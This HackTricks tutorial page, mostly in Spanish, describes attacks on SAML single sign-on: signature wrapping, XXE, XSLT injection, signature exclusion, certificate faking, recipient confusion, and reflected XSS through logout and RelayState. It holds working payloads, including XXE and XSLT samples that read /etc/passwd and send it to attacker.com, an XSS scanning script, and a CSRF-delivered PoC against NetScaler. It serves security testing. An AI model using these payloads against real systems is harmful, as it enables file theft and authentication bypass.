SAML Attacks
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Herramienta
SAMLExtractor: Una herramienta que puede tomar una URL o una lista de URLs y devuelve la URL de consumo SAML.
XML ida y vuelta
En XML la parte firmada del XML se guarda en memoria, luego se realiza cierta codificación/decodificación y se verifica la firma. Idealmente esa codificación/decodificación no debería cambiar los datos, pero basado en ese escenario, los datos que se comprueban y los datos originales podrían no ser los mismos.
Por ejemplo, revisa el siguiente código:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
Ejecutar el programa contra REXML 3.2.4 o anterior produciría la siguiente salida:
First child in original doc: Y
First child after round-trip: Z
This is how REXML saw the original XML document from the program above:
.png)
And this is how it saw it after a round of parsing and serialization:
.png)
For more information about the vulnerability and how to abuse it:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
XML Signature Wrapping Attacks
En XML Signature Wrapping attacks (XSW), los atacantes explotan una vulnerabilidad que surge cuando los documentos XML se procesan en dos fases distintas: signature validation y function invocation. Estos ataques implican alterar la estructura del documento XML. Específicamente, el atacante inyecta elementos falsificados que no comprometen la validez de la XML Signature. Esta manipulación busca crear una discrepancia entre los elementos analizados por la application logic y los comprobados por el signature verification module. Como resultado, mientras la XML Signature permanece técnicamente válida y pasa la verificación, la application logic procesa los elementos fraudulentos. Consecuentemente, el atacante evita efectivamente la protección de integridad y autenticación de origen de la XML Signature, permitiendo la inyección de contenido arbitrario sin ser detectado.
The following attacks ara based on this blog post and this paper. So check those for further details.
XSW #1
- Strategy: A new root element containing the signature is added.
- Implication: The validator may get confused between the legitimate “Response -> Assertion -> Subject” and the attacker’s “evil new Response -> Assertion -> Subject”, leading to data integrity issues.
.png)
XSW #2
- Difference from XSW #1: Utilizes a detached signature instead of an enveloping signature.
- Implication: The “evil” structure, similar to XSW #1, aims to deceive the business logic post integrity check.
.png)
XSW #3
- Strategy: An evil Assertion is crafted at the same hierarchical level as the original assertion.
- Implication: Intends to confuse the business logic into using the malicious data.
.png)
XSW #4
- Difference from XSW #3: The original Assertion becomes a child of the duplicated (evil) Assertion.
- Implication: Similar to XSW #3 but alters the XML structure more aggressively.
.png)
XSW #5
- Unique Aspect: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
- Implication: The copied Assertion envelopes the Signature, modifying the expected document structure.
.png)
XSW #6
- Strategy: Similar location insertion as XSW #4 and #5, but with a twist.
- Implication: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.
.png)
XSW #7
- Strategy: An Extensions element is inserted with the copied Assertion as a child.
- Implication: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.
.png)
XSW #8
- Difference from XSW #7: Utilizes another less restrictive XML element for a variant of the attack.
- Implication: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.
.png)
Tool
Puedes usar la extensión de Burp SAML Raider para parsear la request, aplicar cualquier ataque XSW que elijas y lanzarlo.
XXE
If you don’t know which kind of attacks are XXE, please read the following page:
XXE - XEE - XML External Entity
SAML Responses are deflated and base64 encoded XML documents and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Here’s how such an attack can be visualized:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
Herramientas
También puedes usar la extensión de Burp SAML Raider para generar el POC a partir de una solicitud SAML y probar posibles vulnerabilidades XXE y vulnerabilidades SAML.
Consulta también esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI
XSLT vía SAML
Para más información sobre XSLT, ve a:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
Extensible Stylesheet Language Transformations (XSLT) se puede usar para transformar documentos XML a varios formatos como HTML, JSON o PDF. Es crucial notar que las transformaciones XSLT se realizan antes de la verificación de la firma digital. Esto significa que un ataque puede tener éxito incluso sin una firma válida; una firma autofirmada o inválida es suficiente para proceder.
Aquí puedes encontrar un POC para comprobar este tipo de vulnerabilidades; en la página de hacktricks mencionada al inicio de esta sección puedes encontrar payloads.
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Herramienta
You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.
Consulta también esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI
XML Signature Exclusion
The XML Signature Exclusion observa el comportamiento de las implementaciones SAML cuando el elemento Signature no está presente. Si este elemento falta, la validación de la firma (signature validation) puede no ocurrir, volviéndolo vulnerable. Es posible probar esto alterando los contenidos que normalmente verifica la firma.
.png)
Herramienta
You can also use the Burp extension SAML Raider. Intercepta la SAML Response y haz clic en Remove Signatures. Al hacerlo se eliminan todos los elementos Signature.
Con las firmas eliminadas, permite que la solicitud continúe hacia el destino. Si la Signature no es requerida por el Service
Certificate Faking
Certificate Faking
Certificate Faking es una técnica para comprobar si un Service Provider (SP) verifica correctamente que un SAML Message esté firmado por un Identity Provider (IdP) de confianza. Implica usar un *self-signed certificate para firmar la SAML Response o la Assertion, lo que ayuda a evaluar el proceso de validación de confianza entre SP e IdP.
Cómo realizar Certificate Faking
Los siguientes pasos describen el proceso usando la extensión de Burp SAML Raider:
- Intercepta la SAML Response.
- Si la response contiene una signature, envía el certificado a SAML Raider Certs usando el botón
Send Certificate to SAML Raider Certs. - En la pestaña SAML Raider Certificates, selecciona el certificado importado y haz clic en
Save and Self-Signpara crear un clon self-signed del certificado original. - Vuelve a la request interceptada en Burp’s Proxy. Selecciona el nuevo certificado self-signed del desplegable XML Signature.
- Elimina las firmas existentes con el botón
Remove Signatures. - Firma el mensaje o la assertion con el nuevo certificado usando el botón
(Re-)Sign Messageo(Re-)Sign Assertion, según corresponda. - Reenvía el mensaje firmado. Una autenticación exitosa indica que el SP acepta mensajes firmados por tu certificado self-signed, lo que revela posibles vulnerabilidades en el proceso de validación de los SAML messages.
Token Recipient Confusion / Service Provider Target Confusion
Token Recipient Confusion y Service Provider Target Confusion consisten en comprobar si el Service Provider valida correctamente el destinatario previsto de una respuesta. En esencia, un Service Provider debería rechazar una respuesta de autenticación si estaba destinada a otro proveedor. El elemento crítico aquí es el campo Recipient, que se encuentra dentro del elemento SubjectConfirmationData de una SAML Response. Este campo especifica una URL que indica dónde debe enviarse la Assertion. Si el destinatario real no coincide con el Service Provider previsto, la Assertion debe considerarse inválida.
Cómo funciona
Para que un ataque SAML Token Recipient Confusion (SAML-TRC) sea factible, deben cumplirse ciertas condiciones. En primer lugar, debe existir una cuenta válida en un Service Provider (denominado SP-Legit). En segundo lugar, el Service Provider objetivo (SP-Target) debe aceptar tokens del mismo Identity Provider que sirve a SP-Legit.
El proceso del ataque es sencillo bajo estas condiciones. Se inicia una sesión auténtica con SP-Legit a través del Identity Provider compartido. Se intercepta la SAML Response del Identity Provider dirigida a SP-Legit. Esta SAML Response interceptada, originalmente destinada a SP-Legit, se redirige entonces a SP-Target. El éxito en este ataque se mide por que SP-Target acepte la Assertion, concediendo acceso a recursos bajo el mismo nombre de cuenta usado en SP-Legit.
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
XSS en la funcionalidad de Logout
La investigación original puede consultarse en este enlace.
Durante el proceso de directory brute forcing, se descubrió una página de logout en:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
Al acceder a este enlace, se produjo una redirección a:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
Esto reveló que el parámetro base acepta una URL. Teniendo esto en cuenta, surgió la idea de sustituir la URL por javascript:alert(123); en un intento de iniciar un ataque XSS (Cross-Site Scripting).
Mass Exploitation
The SAMLExtractor tool was used to analyze subdomains of uberinternal.com for domains utilizing the same library. Subsequently, a script was developed to target the oidauth/prompt page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it’s reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
Inyección de header/body basada en RelayState hacia rXSS
Algunos endpoints SAML SSO decodifican RelayState y luego lo reflejan en la respuesta sin sanitizar. Si puedes inyectar nuevas líneas y sobreescribir el Content-Type de la respuesta, puedes forzar al navegador a renderizar HTML controlado por el atacante, logrando reflected XSS.
- Idea: abusar de response-splitting vía newline injection en el RelayState reflejado. See also the generic notes in CRLF injection.
- Funciona incluso cuando RelayState es decodificado base64 en el servidor: suministra un base64 que decodifique a header/body injection.
Pasos generalizados:
- Construye una secuencia de header/body injection que comience con una newline, sobreescriba el Content-Type a HTML, y luego inyecte un payload HTML/JS:
Concepto:
\n
Content-Type: text/html
<svg/onload=alert(1)>
- URL-encodea la secuencia (ejemplo):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
- Codifica en base64 esa cadena URL-encoded y colócala en
RelayState.
Example base64 (from the sequence above):
DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
- Envía un POST con un
SAMLResponsesintácticamente válido y elRelayStatemanipulado al endpoint SSO (p.ej.,/cgi/logout). - Entrega vía CSRF: hospeda una página que auto-envíe un POST cross-origin hacia el origen objetivo incluyendo ambos campos.
PoC contra un NetScaler SSO endpoint (/cgi/logout):
POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
Patrón de entrega CSRF:
<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>
Por qué funciona: el servidor decodifica RelayState y lo incorpora en la respuesta de forma que permite newline injection, permitiendo que el atacante influya en los headers y en el body. Forzar Content-Type: text/html hace que el navegador renderice el attacker-controlled HTML desde el body de la respuesta.
Referencias
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
- Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

